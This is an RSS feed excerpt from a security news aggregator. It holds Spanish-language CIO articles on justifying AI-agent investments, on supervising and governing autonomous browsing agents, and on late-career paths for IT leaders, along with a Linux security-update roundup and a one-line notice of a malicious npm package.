<description><![CDATA[Después de más de dos décadas en sectores donde una hora de caída puede costar cientos de miles de euros sin mencionar temas reputacionales, he aprendido que cuando, como CIO, subes a presentar, justificar y defender una inversión ante un comité, hay un lenguaje que funciona y otro que no. “Hemos...]]></description>
<link>https://tsecurity.de/de/3286085/it-security-nachrichten/por-qu-la-resiliencia-es-el-nico-roi-defendible-y-por-qu-los-agentes-especializados-superan-a-los-generalistas/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3286085/it-security-nachrichten/por-qu-la-resiliencia-es-el-nico-roi-defendible-y-por-qu-los-agentes-especializados-superan-a-los-generalistas/</guid>
<pubDate>Fri, 13 Feb 2026 11:49:38 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Después de más de dos décadas en sectores donde una hora de caída puede costar cientos de miles de euros sin mencionar temas reputacionales, he aprendido que cuando, como CIO, subes a presentar, justificar y defender una inversión ante un comité, hay un lenguaje que funciona y otro que no. “Hemos ahorrado horas de trabajo” no funciona. “Hemos reducido un 35% la probabilidad de que este proceso crítico nos cueste dinero” sí funciona. La diferencia es la que hay entre un proyecto que sobrevive y uno que se cancela en la siguiente revisión de presupuesto.</p>



<h2 class="wp-block-heading">El único número que importa: cuánto cuesta el impacto de fallos</h2>



<p>La forma más directa de justificar agentes en términos financieros es algo que cualquier director financiero entiende sin traducción técnica: <strong>cuánto dinero pierdes cuando algo se rompe o sufres un problema grave</strong>. Probabilidad de que ocurra un problema grave, multiplicada por lo que cuesta cada hora que ese problema está activo — dinero que pierdes, multas que pagas, clientes que se van —, multiplicada por cuánto tardan en arreglarlo.</p>



<p>La mayoría de inversiones en agentes justificadas solo con productividad se ciñen a una parte menor del problema: el tiempo que dedicamos a tareas repetitivas. Lo que mueve la aguja es un agente que acorta cuánto dura un incidente porque lo detecta antes —hay datos contrastados de reducciones del 25 al 40% en tiempos de detección y resolución—. Lo que mueve la aguja es un agente que reduce la probabilidad de que un problema llegue a producirse. Y lo que mueve la aguja es un agente que limita el daño: corta el problema antes de que se extienda, activa protecciones automáticas, reduce hasta dónde llega el impacto.</p>



<p>No prometo cero incidentes. <strong>Lo que defiendo es medir y reducir lo que cuesta cada problema de forma sistemática, trimestre a trimestre</strong>. Eso ayuda a modelar la inteligencia artificial hacia un programa de mejora continua con resultados que se acumulan y se van midiendo.</p>



<h3 class="wp-block-heading">Ejemplo:</h3>



<p>Una entidad financiera europea con 500.000 clientes sufría caídas en su sistema de pagos una vez al trimestre. </p>



<ul class="wp-block-list">
<li>Coste medio: 150.000 euros por hora (negocio parado + penalizaciones regulatorias). </li>



<li>Tiempo de detección: 45 minutos. Tiempo de resolución: 3,5 horas. </li>



<li>Coste por incidente: 600.000 euros. </li>



<li>Coste anual: 2,4 millones de euros.</li>
</ul>



<p>La entidad implementó un agente de detección de anomalías enfocado exclusivamente en métricas de latencia y tasas de error. </p>



<ul class="wp-block-list">
<li>Inversión inicial: 180.000 euros. </li>



<li>Coste operativo anual: 60.000 euros.</li>
</ul>



<p>Resultado tras 12 meses: </p>



<ul class="wp-block-list">
<li>Detección de 45 min a 8 min</li>



<li>Resolución de 3,5h a 1,8h</li>



<li>Coste medio por incidente: de 600.000 a 280.000 euros. </li>



<li>Reducción anual: 1,28 millones de euros. </li>



<li>ROI del primer año: 433%.</li>
</ul>



<p>Creo que es importante medir primero los incidentes actuales que sufres ahora, cuánto tardas en detectarlos, cuánto tardas en resolverlos y qué te cuesta cada hora. Calcular la mejora que esperas con el agente. Sumar el coste real de hacerlo funcionar: servidores, guardar los registros el tiempo que exige regulación, usuarios y permisos, y el equipo que lo controla y supervisa. Si los números no cuadran antes de empezar, el caso no se sostiene y es menos defendible.</p>



<h2 class="wp-block-heading">La paradoja de la productividad que nadie mide</h2>



<p>Hay un coste oculto que casi ningún piloto o POC (prueba de concepto) mide: la intensificación del trabajo. Un estudio reciente de ocho meses en una empresa tecnológica estadounidense documentó que los empleados que adoptaron IA generativa no trabajaron menos: trabajaron más. Las tareas se extendieron (“si puedo hacerlo con IA, ¿por qué no lo intento?”), las fronteras entre trabajo y descanso se difuminaron (un <em>prompt </em>rápido durante el almuerzo), y el <em>multitasking </em>se multiplicó (varios agentes corriendo en paralelo).</p>



<p>El resultado: mayor volumen de trabajo sin tiempo recuperado. Como resumió un ingeniero del estudio: “Pensabas que con IA trabajarías menos. Pero realmente no trabajas menos. Trabajas lo mismo o incluso más”. </p>



<p>Para un comité de dirección, esto importa porque invalida el argumento clásico de “ahorras X horas al mes por empleado”. Si esas horas se reinvierten inmediatamente en más tareas —sin descanso, sin reflexión, sin margen—, no estás ganando productividad sostenible. Estás acumulando deuda cognitiva que se paga con errores, <em>burnout</em> y decisiones apresuradas justo cuando más necesitas que la gente piense con claridad.</p>



<h2 class="wp-block-heading">Por qué son más efectivos los agentes especializados</h2>



<p>Voy a defender una idea que igual no es compartida: los agentes diseñados para hacer una tarea especializada y hacerla bien tienen tasas de éxito muy superiores a los generalistas. Al menos hoy en día.</p>



<p>“Especializado” no significa simple. Significa que el agente tiene un trabajo definido, unas reglas claras, unos controles reales y una forma objetiva de saber si lo está haciendo bien o mal. Gartner predice que más del 40% de los proyectos con agentes se cancelarán antes de 2027 por costes que se disparan o por falta de controles adecuados. Sin hablar de los datos… y la calidad de los mismos. La diferencia entre los que sobreviven y los que no casi nunca lo hacen es tecnológica y creo más asociable la disciplina operativa y sobre todo ESTRATÉGICA.</p>



<p>Los agentes especializados pueden validar con situaciones acotadas antes de escribir código. Se pueden revisar y auditar porque cada acción queda registrada. Pueden contener el impacto y pasear  porque el daño máximo que pueden causar está limitado por diseño. Se puede gobernar porque hay reglas claras. Y se pueden mejorar porque trabajan contra objetivos estables con KPI claros y bien definidos.</p>



<p>Los agentes de propósito siguen un patrón predecible: alguien pide “una cosa más”, la definición de éxito se vuelve borrosa, el agente necesita acceder a más datos, y el coste crece más deprisa que el valor. Estudios recientes recientes indican que los sistemas que hacen uso de agentes pueden consumir hasta cinco veces más capacidad de cálculo por tarea que una implementación estándar. No es un dato teórico, es una factura real a final de mes.</p>



<p><em><strong>Red Flag</strong></em>: si no puedes definir y delimitar qué datos lee el agente, qué puede hacer, cómo saber si lo hizo bien y cómo deshacerlo si falla, no es candidato para producción.</p>



<h2 class="wp-block-heading">Dónde se esfuman los presupuestos</h2>



<p>Cuando se cancela un proyecto de agentes, casi nunca es porque la tecnología no haya funcionado. Es porque se han dejado cinco partidas de gastos sin predecir:</p>



<ul class="wp-block-list">
<li><strong>Calidad de los datos</strong>. Si la información es incompleta o contradictoria, el agente no se para. Produce resultados que parecen correctos pero no lo son. En procesos críticos, una respuesta convincente pero equivocada no es un fallo técnico: es un riesgo de negocio. En 2024, un tribunal de Columbia Británica dictaminó que una importante aerolínea internacional  era responsable por información incorrecta proporcionada por su chatbot. Solo un tercio de las organizaciones tiene mecanismos para prevenir este tipo de errores. La adopción es cada vez mayor pero también este tipo de acciones lo será.</li>



<li><strong>Identidad y permisos</strong>. Cada agente necesita de una identidad propia, permisos mínimos y registro completo. Solo el 10% de las organizaciones gestiona bien la identidad de sus sistemas automatizados.</li>



<li><strong>Registro y trazabilidad</strong>. Qué hizo el agente, con qué autorización, a partir de qué información. Esto ocupa espacio, hay que guardarlo durante años y necesita control de acceso.</li>



<li><strong>Aislamiento</strong>. Si un agente toca sistemas críticos, necesita funcionar en un entorno controlado. Investigadores han documentado vulnerabilidades que permiten robar información sin que nadie se entere.</li>



<li><strong>Operación del día a día</strong>. Investigaciones recientes muestran que en organizaciones que escalan IA, una parte importante del equipo técnico acaba dedicado a tareas relacionadas con el propio mantenimiento de la IA. La operación no tiene un coste menor. Es el principal coste.</li>
</ul>



<p>La mayoría de directivos en estudios recientes reconoce que los costes de poner agentes a funcionar superan con mucho lo esperado. El coste existe de todas formas. La decisión es si lo metes en el presupuesto desde el principio, con visibilidad, o si lo pagas después como deuda acumulada.</p>



<h2 class="wp-block-heading">Cinco días para saber si un piloto merece vivir o morir en el intento</h2>



<p>He desarrollado una prueba que usó antes de meter recursos reales. No sirve para demostrar que un agente “es capaz”. Sirve para saber si el caso de uso se puede operar en el mundo real.</p>



<ul class="wp-block-list">
<li>Día 1.- Definir OKR claros. Problema concreto y verificable. Qué datos puede usar. Qué acciones puede realizar. Y cuándo se para si algo va mal. Si no puedes definir cuándo parar, no estás listo para empezar.</li>



<li>Día 2.- Comprobar el entorno. Calidad real de los datos (no la teórica, sino la que hay un lunes por la mañana). Accesos con permisos mínimos. Requisitos de registro definidos.</li>



<li>Día 3.- Modelo MVP. Pocas fuentes, pocas acciones, mucho control. Si para funcionar hace falta “una fuente más” o “un permiso adicional”, eso se apunta como gasto extra.</li>



<li>Día 4.- Medir sin compasión. Cuántas veces interviene una persona. Cuántas veces falla. Cuánto tarda. Si se salta reglas. Si no se puede medir…</li>



<li>Día 5.- Decisión. Valor conservador. Coste real incluyendo datos, controles y operación. Decisión limpia: adelante, fuera o reducir alcance. Sin zonas grises.</li>
</ul>



<h2 class="wp-block-heading">Para finalizar</h2>



<p>La productividad personal es un beneficio posible. Pero no aguanta un caso de inversión cuando metes los controles que exige una empresa seria. La inversión que sí aguanta es la que reduce lo que te cuesta cuando algo falla y mejora tu capacidad de respuesta y, sobre todo, las posibilidades de anticiparse a problemas o predecirlos. Con pruebas, con límites claros y con capacidad real de recuperación.</p>



<p>La pregunta que hemos de hacernos no es si nuestra empresa está usando agentes de inteligencia artificial. A estas alturas, prácticamente todas dicen que sí. La pregunta es si los que están funcionando podrían aguantar una auditoría seria mañana por la mañana. Si la respuesta no es un sí rotundo, la organización no tiene un programa de agentes. Tiene una colección de pilotos esperando a convertirse en algo incuestionable y, lo peor, nada controlable.</p>



<p>En la entrega final cerraremos el círculo con el <strong>papel del CIO</strong>: cómo diseñar supervisión que funcione a escala, con métricas, gobierno y arquitectura operativa para tener más agentes sin perder el control. Porque escalar no es desplegar más agentes. Escalar es gobernar bien los que ya tienes antes de añadir el siguiente.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Wednesday]]></title>
<description><![CDATA[Security updates have been issued by Debian (kernel, linux-6.1, munge, and tcpflow), Fedora (accel-ppp, atuin, babl, bustle, endless-sky, envision, ettercap, fapolicy-analyzer, firefox, glycin, gnome-settings-daemon, go-fdo-client, greenboot-rs, greetd, helix, hwdata, keylime-agent-rust, kiwi, li...]]></description>
<link>https://tsecurity.de/de/3281837/linux-tipps/security-updates-for-wednesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3281837/linux-tipps/security-updates-for-wednesday/</guid>
<pubDate>Wed, 11 Feb 2026 15:08:38 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (kernel, linux-6.1, munge, and tcpflow), <b>Fedora</b> (accel-ppp, atuin, babl, bustle, endless-sky, envision, ettercap, fapolicy-analyzer, firefox, glycin, gnome-settings-daemon, go-fdo-client, greenboot-rs, greetd, helix, hwdata, keylime-agent-rust, kiwi, libdrm, maturin, mirrorlist-server, ntpd-rs, ogr2osm, open-vm-tools, perl-App-Cme, perl-Net-RDAP, perl-rdapper, polymake, python-requests-ratelimiter, python-tqdm, rust-add-determinism, rust-afterburn, rust-ambient-id, rust-app-store-connect, rust-bat, rust-below, rust-btrd, rust-busd, rust-bytes, rust-cargo-c, rust-cargo-deny, rust-coreos-installer, rust-crypto-auditing-agent, rust-crypto-auditing-client, rust-crypto-auditing-event-broker, rust-crypto-auditing-log-parser, rust-dua-cli, rust-eif_build, rust-git-delta, rust-git-interactive-rebase-tool, rust-git2, rust-gst-plugin-dav1d, rust-gst-plugin-reqwest, rust-heatseeker, rust-ingredients, rust-jsonwebtoken, rust-lsd, rust-monitord, rust-monitord-exporter, rust-muvm, rust-nu, rust-num-conv, rust-onefetch, rust-oo7-cli, rust-pleaser, rust-pore, rust-pretty-git-prompt, rust-procs, rust-rbspy, rust-rbw, rust-rd-agent, rust-rd-hashd, rust-redlib, rust-resctl-bench, rust-resctl-demo, rust-routinator, rust-sccache, rust-scx_layered, rust-scx_rustland, rust-scx_rusty, rust-sequoia-chameleon-gnupg, rust-sequoia-keystore-server, rust-sequoia-octopus-librnp, rust-sequoia-sq, rust-sevctl, rust-shadow-rs, rust-sigul-pesign-bridge, rust-speakersafetyd, rust-tealdeer, rust-time, rust-time-core, rust-time-macros, rust-tokei, rust-weezl, rust-wiremix, rust-ybaas, rustup, sad, strawberry, systemd, tbtools, transmission, trustedqsl, tuigreet, uv, and vdr-extrecmenung), <b>Oracle</b> (brotli, git-lfs, java-1.8.0-openjdk, kernel, libsoup, libsoup3, nodejs:24, python3.12, and thunderbird), <b>Red Hat</b> (fence-agents, python-urllib3, python3.11-urllib3, python3.12-urllib3, and resource-agents), <b>SUSE</b> (avahi, cups, freerdp, golang-github-prometheus-prometheus, java-11-openjdk, java-17-openjdk, libsoup2, libxml2, and python-pip), and <b>Ubuntu</b> (expat, glib2.0, and imagemagick).]]></content:encoded>
</item>
<item>
<title><![CDATA[Estrategias de salida: los líderes de TI trazan nuevos caminos al final de su carrera]]></title>
<description><![CDATA[Los CIO y otros líderes tecnológicos están acostumbrados a enfrentarse a retos difíciles a lo largo de su carrera. Cuando entran en la última etapa profesional, los obstáculos no desaparecen, simplemente cambian. Entre ellos se incluyen subestimar su capacidad para aprender nuevas tecnologías y m...]]></description>
<link>https://tsecurity.de/de/3278875/it-security-nachrichten/estrategias-de-salida-los-lderes-de-ti-trazan-nuevos-caminos-al-final-de-su-carrera/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3278875/it-security-nachrichten/estrategias-de-salida-los-lderes-de-ti-trazan-nuevos-caminos-al-final-de-su-carrera/</guid>
<pubDate>Tue, 10 Feb 2026 11:36:36 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Los CIO y otros líderes tecnológicos están acostumbrados a enfrentarse a retos difíciles a lo largo de su carrera. Cuando entran en la última etapa profesional, los obstáculos no desaparecen, simplemente cambian. Entre ellos se incluyen subestimar su capacidad para aprender nuevas tecnologías y mantenerse al día con los rápidos cambios del sector, los prejuicios relacionados con la edad y otros factores. Para aquellos que han sido despedidos, encontrar un nuevo puesto puede resultar especialmente desalentador debido a la rigidez del mercado, la discriminación por edad y la competencia de ejecutivos tecnológicos más jóvenes.</p>



<p>A continuación, se explica cómo cuatro ejecutivos de TI han afrontado los retos de la última etapa de su carrera.</p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<h3 class="wp-block-heading">El valor de planificar con antelación</h3>



<p>Bill Balint, antiguo director de informática de la Universidad de Indiana en Pensilvania (IUP), dedicó 36 años a trabajar a tiempo completo en TI. Su primer año lo pasó en el Servicio de Impuestos Internos; los últimos 35, en dicha universidad.</p>



<p>Durante sus primeros ocho años en ella, fue analista de sistemas. A partir de ahí, ascendió por los distintos niveles de la gestión de TI hasta convertirse en el primer director de informática de la universidad, cargo que ocupó durante 18 años, al tiempo que desempeñaba el puesto de ejecutivo técnico del Sistema de Educación Superior del Estado de Pensilvania durante los últimos 11 años.</p>



<p>Tras su jubilación de la IUP en 2024, Balint fundó Haven Hill Services, una consultoría de TI a tiempo parcial enfocada en educación superior, con la que ha trabajado con éxito durante el último año.</p>



<p>“No estaba preparado para dejar el sector a los 59 años, a pesar de que recibía una pensión completa del Estado. Mi objetivo era seguir trabajando en TI de alto nivel en educación superior, pero sólo a tiempo parcial como contratista, en lugar de como empleado. Tras pensarlo detenidamente, reduje mis opciones a contratos principalmente a distancia y con cierta previsibilidad en tiempo y duración”, explica.</p>



<p>El mayor reto para que esto funcionara era “hilar fino” debido a esas preferencias, añade Balint. Tal y como confiesa: “Proonto me di cuenta de que tendría que renunciar a la mayoría de ellas si me vinculaba a una empresa a gran escala, donde se encuentran la mayoría de las oportunidades. Las que satisfacían mis preferencias llegaron a mí, pero reconozco que tuve mucha suerte de que así fuera”.</p>



<p>Otro desafío fue aprender a operar como consultor independiente, incluyendo evaluar las condiciones del mercado, determinar cuánto cobrar a los clientes, qué estipulaciones incluir en los contratos, cómo crear una LLC y cuáles serían las implicaciones fiscales. “Se necesitó mucho tiempo para poner todas estas piezas en su lugar”, reconoce.</p>



<p>Como primer paso en su estrategia de carrera tardía, Balint recomienda que los jefes de tecnología creen un plan de transición dos o tres años antes de retirarse de su puesto actual. “Saber cuánto tiempo necesitaba para la transición y cuánto ingreso requería hasta la jubilación completa dictó hasta qué punto podía ser estricto con mis preferencias de trabajo”, explica.</p>



<p>A partir de ahí, Balint estableció fechas de inicio y fin de transición y se centró en los detalles. Esto implicó responder a cinco preguntas clave:</p>



<ol class="wp-block-list">
<li>¿Cuántas horas estaría dispuesto a trabajar al mes?</li>



<li>¿Cuánto viaje y trabajo presencial estaría dispuesto a asumir?</li>



<li>¿Estaría dispuesto a trabajar en sectores distintos de la educación superior?</li>



<li>¿Aceptaría trabajar como empleado o solo como contratista?</li>



<li>¿En qué áreas de consultoría de TI consideraba que podía tener éxito?</li>
</ol>



<p>“Cada vez que recibo una consulta por mis servicios, evalúo cómo encaja con esas respuestas, y hasta ahora ha resultado un completo éxito”, afirma Balint.</p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<h3 class="wp-block-heading">Compartir la experiencia</h3>



<p>Steve Agnoli, ganador del CIO 100 Award, ejerció como CIO durante 22 años en firmas legales globales y en organizaciones de transformación y servicios de TI, liderando iniciativas de negocio y tecnología, garantizando el retorno de las inversiones tecnológicas y formando equipos multidisciplinares en entornos internacionales.</p>



<p>Recientemente, fue CIO en la firma de abogados internacional Reed Smith, donde lideró la estrategia global de TI, operaciones de sistemas de toda la firma, mejora de procesos y desarrollo de nuevas tecnologías. Antes, encabezó la transformación tecnológica global de Mylan Pharmaceutical (actualmente Viatris) y fue CIO en K&amp;L Gates, una de las firmas legales más grandes del mundo.</p>



<p>En 2024, Agnoli dejó Reed Smith para fundar SWA Executive Consulting, donde aplica su experiencia en liderazgo ejecutivo y tecnológico para ayudar a organizaciones a mejorar su rendimiento mediante estrategias efectivas de tecnología y procesos. Esto incluye servicios de CIO fraccionado y evaluaciones de estrategia de TI, infraestructura y ciberseguridad.</p>



<p>Además, Agnoli, que se considera medio jubilado, es instructor principal en el <em>Chief Information and Digital Officer Executive Program</em> de Carnegie Mellon University, un programa que prepara a ejecutivos de tecnología y negocios para liderar con eficacia.</p>



<p>“En esta fase de mi carrera, me concentro en usar las habilidades, experiencias y lecciones que he adquirido durante más de 40 años en TI y negocios para ayudar a las organizaciones a construir mejores capacidades digitales y de TI, ser más adaptables y ágiles en sus procesos y garantizar valor de negocio en las inversiones tecnológicas”, señala.</p>



<p>A través de su papel como instructor en CMU, Agnoli enseña y mentoriza a la próxima generación de líderes de TI. “En general, me dedico a transformar mis experiencias en algo útil para quienes están construyendo sus carreras en tecnología y negocios”, admite.</p>



<p>El consejo que ofrece a los CIO en la etapa final de su carrera es que evalúen lo que han logrado y se centren en las áreas de mayor habilidad, diferenciación, valor añadido y disfrute. “Luego, que construyan una manera de aplicar esas capacidades en beneficio de otros. El tiempo es limitado; no lo malgasten en cosas que no disfrutan, sino enfóquense en lo que tiene más valor para otros y les aporta satisfacción a ustedes”, aconseja.</p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<h3 class="wp-block-heading">Incorporación a consejos y mentoría</h3>



<p>Lisa Roger ha demostrado ser una ejecutiva sénior destacada con amplia experiencia en liderazgo, transformación empresarial y estrategia de TI. Considera su cargo actual como vicepresidenta y CIO en Modern Technology Solutions —una empresa de servicios de ingeniería y tecnología— como su última posición a tiempo completo. Antes, fue CIO en Oteemo y Dewberry.</p>



<p>“Mi rol actual ofrece suficientes desafíos para mantenerme comprometida y en constante aprendizaje durante los próximos tres o cuatro años”, explica, añadiendo que la transición hacia la jubilación implicará servir como directora independiente en consejos corporativos y participar en comités de asesoramiento relacionados con desarrollo del talento.</p>



<p>Roger ha tenido que afrontar el edadismo. “He enfrentado desafíos relacionados con la edad y mantenerme relevante. Como mujer que comenzó en tecnología en 1989, he demostrado que puedo hacerlo ofreciendo excelentes resultados, entendiendo la dinámica laboral, haciendo <em>networking</em> y siendo amable. Estas estrategias siguen funcionando hoy como hace 40 años”.</p>



<p>Por ejemplo, superar expectativas y cumplir objetivos le permitió demostrar sus capacidades y ganarse la confianza de colegas y superiores. “Comprender la dinámica del lugar de trabajo implica saber cómo funcionan las cosas y alinear mis objetivos con los de los principales <em>stakeholders</em>“, afirma. El <em>networking</em> constante le ayudó a crear relaciones profesionales sólidas, obtener información valiosa y abrir nuevas oportunidades.</p>



<p>Lo más importante, según Roger, es tratar bien a los demás. Lo que le lleva a decir que “las personas y, por lo tanto, las oportunidades se sienten atraídas por quienes son positivos y amables. Cuando tropiece —que lo hará— tendrá un ‘ejército dispuesto’ para levantarle. Esto proporciona un escudo efectivo cuando lo necesite”.</p>



<p>A lo largo de los años, Roger ha visto enormes cambios en la tecnología y los entornos laborales. “Sin embargo, estas estrategias fundamentales siempre han sido fiables y me han ayudado a mantenerme relevante y a tener impacto en un sector en constante cambio. Al adaptarlas continuamente, he navegado por todas las etapas de mi carrera —desde puestos iniciales hasta posiciones de liderazgo— manteniendo crecimiento y realización personal”.</p>



<p>Su consejo para ejecutivos próximos a la etapa final y que buscan posiciones en consejos de administración es no esperar a la jubilación para empezar a buscar roles remunerados.</p>



<p>“La regla de los 72 sigue vigente; se espera que los miembros de consejos se retiren a los 72 años. Por eso, buscar asignaciones en consejos a finales de los 50 es el momento óptimo. Además, invertir en preparación es fundamental. Recomiendo explorar recursos como la National Association of Corporate Boards, que ofrece programas de formación específicos para preparar a los individuos para servir en consejos”, aconseja.</p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<h3 class="wp-block-heading">La vía interina</h3>



<p>Una opción para los CIO de carrera avanzada es desempeñarse como líderes tecnológicos interinos. Esa ha sido la estrategia de Bruce Taggart. Tras 26 años como CIO, se tomó un tiempo para viajar y, después, volvió a trabajar como ejecutivo de TI temporal en Oregon Institute of Technology y Juniata College.</p>



<p>Actualmente, Taggart combina su tiempo entre ser CIO interino y vicepresidente asistente en Worcester State University y ejercer como presidente de la junta del Pennsylvania Research and Education Network (KeystoneREN).</p>



<p>Antes de trabajar como CIO interino, Taggart fue líder tecnológico en Lehigh University durante 20 años, donde fue responsable de la dirección estratégica, planificación y gestión de bibliotecas, desarrollo de personal, tecnologías de información académicas y administrativas, y educación a distancia de posgrado. También ocupó un puesto ejecutivo de TI en Portland State University.</p>



<p>Durante su carrera como CIO, asistió el cambio de rol, que pasó de ser experto técnico a líder estratégico y planificador, encargado de la dirección y crecimiento de la organización de TI. “Las responsabilidades clave no son las últimas tecnologías, sino el desarrollo organizativo, la gestión del personal, la conexión con el liderazgo universitario y la visión estratégica del sector”, afirma.</p>



<p>Como otros ejecutivos sénior, Taggart también ha afrontado el edadismo, y lo describe así: “Tras medio jubilarme y decidir reincorporarme al mundo de consultoría en educación superior, existía y sigue existiendo un sesgo por edad entre las principales universidades”, explica.</p>



<p>Los posibles empleadores le han cuestionado sobre qué puede aportar de nuevo o innovador “a estas alturas” de su carrera.</p>



<p>Para los CIO que buscan nuevas oportunidades en la etapa final, Taggart aconseja que lo que los hará atractivos no son los años de gestión de TI, sino demostrar habilidades en liderazgo, planificación estratégica, pensamiento visionario y otras competencias clave.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Malicious npm Package Masquerades as Popular Email Library]]></title>
<description><![CDATA[A malicious npm package “nodejs-smtp” has been discovered impersonating nodemailer and injecting code to drain crypto wallets]]></description>
<link>https://tsecurity.de/de/3256961/it-security-nachrichten/malicious-npm-package-masquerades-as-popular-email-library/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3256961/it-security-nachrichten/malicious-npm-package-masquerades-as-popular-email-library/</guid>
<pubDate>Fri, 06 Feb 2026 11:36:38 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A malicious npm package “nodejs-smtp” has been discovered impersonating nodemailer and injecting code to drain crypto wallets]]></content:encoded>
</item>
<item>
<title><![CDATA[Tu agente autónomo se bloqueó en un ‘captcha’… Pero la multa es tuya]]></title>
<description><![CDATA[Hace unas semanas publiqué los cinco criterios para distinguir autonomía real de humo comercial: percibir, navegar, decidir, ejecutar, aprender. Desde entonces he visto muchos  pilotos bloquearse en vez de funcionar. Y casi siempre por las mismas razones que ningún vendedor o fabricante menciona ...]]></description>
<link>https://tsecurity.de/de/3243530/it-security-nachrichten/tu-agente-autnomo-se-bloque-en-un-captcha-pero-la-multa-es-tuya/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3243530/it-security-nachrichten/tu-agente-autnomo-se-bloque-en-un-captcha-pero-la-multa-es-tuya/</guid>
<pubDate>Fri, 30 Jan 2026 09:50:09 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Hace unas semanas publiqué los <a href="https://www.cio.com/article/4107941/agentic-browsing-un-cambio-real-y-de-gran-impacto.html">cinco criterios para distinguir autonomía real de humo comercial</a>: percibir, navegar, decidir, ejecutar, aprender. Desde entonces he visto muchos  pilotos bloquearse en vez de funcionar. Y casi siempre por las mismas razones que ningún vendedor o fabricante menciona en las demos.</p>



<p>Ese <em>framework </em>teórico choca brutalmente contra la realidad operativa cuando un agente se encuentra con la web tal como es: caótica, impredecible y llena de obstáculos que ninguna presentación comercial incluye.</p>



<h2 class="wp-block-heading">Tres grietas donde la autonomía se rompe (justo cuando más la necesitas)</h2>



<p>La fragilidad no aparece en el laboratorio o POC. Aparece en producción, en esos pequeños detalles que cualquier empleado resolvería sin pestañear.</p>



<p>La primera grieta son los ‘captchas’. Suena trivial hasta que tu agente llega al punto crítico de un proceso, por ejemplo, un portal de proveedores o una gestión con la administración, y se topa con un captcha. Ahí se acaba el cuento. La promesa de automatización ‘end-to-end’ se convierte en una coreografía incómoda donde alguien tiene que intervenir manualmente para que la cadena continúe. El valor del agente se merma…</p>



<p>La segunda grieta son los <em>pop-ups</em> y <em>overlays</em>. Basta un cambio de diseño, un banner de consentimiento o una ventana modal para descolocar completamente a un agente entrenado sobre la versión anterior de la web. Un humano lo resuelve con un clic intuitivo. El agente, si no está preparado para esa desviación, entra en bucle o falla en silencio.</p>



<p>La tercera grieta es más sutil pero igual de letal: la navegación directa a URL. Muchos entornos de prueba son limpísimos. URL estáticas, sin redirecciones, sin <em>cookies </em>heredadas, sin estados previos. La web real no funciona así. Hay estados de sesión, parámetros ocultos, tiempos de carga variables, interacciones previas que condicionan lo que ve el navegador. Un agente que no convive con ese caos difícilmente puede llamarse autónomo.</p>



<p>Aquí va lo incómodo,  si no conseguimos evidencia de robustez en estos puntos, no estás implementado autonomía. Estás implementando más riesgo operativo .</p>



<h2 class="wp-block-heading">Del bucle interno al bucle exterior: cuando ya no puedes seguir cada paso</h2>



<p>La tentación humana ante algo nuevo y poderoso es querer verlo todo. Muchos pilotos empiezan con supervisión de “bucle interno”. Alguien del equipo sigue cada paso, revisa cada interacción, aprueba cada acción significativa. Es razonable para un POC, pero inviable en producción.</p>



<p>Cuando el volumen crece, ese modelo se rompe. Nadie tiene tiempo para revisar interacción por interacción, igual que nadie revisa manualmente cada operación de un sistema de trading algorítmico. La supervisión tiene que moverse al “bucle exterior”: mirar patrones, métricas agregadas, anomalías y desvíos significativos.</p>



<p>Para un CIO o un CISO, la pregunta cambia. Ya no es “¿qué está haciendo exactamente el agente ahora mismo?”, sino “¿qué necesito ver en mi panel para dormir tranquilo y confiar en el proceso?”.</p>



<p>Algunas métricas resultan especialmente útiles: tasa de tareas completadas sin intervención humana, frecuencia y motivo de las llamadas a un operador, patrones de fallo por tipo de web (formularios, portales públicos, intranets), tiempos de recuperación ante error. Es otra forma de relación con la tecnología. Menos <em>micromanagement </em>digital, más gobernanza basada en señales.</p>



<h2 class="wp-block-heading">Identidad y contención: el nombre y la jaula del agente</h2>



<p>Hay una diferencia enorme entre “usar un modelo de IA” y “darle capacidad de actuar en sistemas reales”. En cuanto un agente puede iniciar sesión, navegar por aplicaciones internas o tocar procesos críticos, deja de ser un experimento y se convierte en un actor dentro de la organización.</p>



<p>Aquí la identidad es clave. Igual que no imaginas a un empleado sin usuario propio, no deberías imaginar agentes sin identidad única y auditada. Conceptos como “Entra Agent ID” de Microsoft o sistemas de identidad federada para agentes ilustran esta dirección: saber qué agente hizo qué, cuándo y con qué permisos. Sin esto, cualquier incidente se convierte en un laberinto forense.</p>



